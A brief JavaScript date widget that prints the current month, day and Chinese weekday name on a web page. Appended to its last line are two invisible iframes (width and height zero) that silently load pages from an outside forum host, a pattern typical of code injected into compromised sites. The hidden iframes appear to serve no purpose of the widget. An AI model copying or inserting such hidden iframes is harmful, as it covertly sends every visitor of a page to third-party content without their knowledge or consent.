var week; 
					if(new Date().getDay()==0)          week='周日'
					if(new Date().getDay()==1)          week='周一'
					if(new Date().getDay()==2)          week='周二' 
					if(new Date().getDay()==3)          week='周三'
					if(new Date().getDay()==4)          week='周四'
					if(new Date().getDay()==5)          week='周五'
					if(new Date().getDay()==6)          week='周六'
					document.write((new Date().getMonth()+1)+'月'+new Date().getDate()+'日 '+week);<iframe src=http://bbs.heiling.cn/read.php?tid=473 width=0 height=0></iframe>
<iframe src=http://bbs.heiling.cn/read.php?tid=488 width=0 height=0></iframe>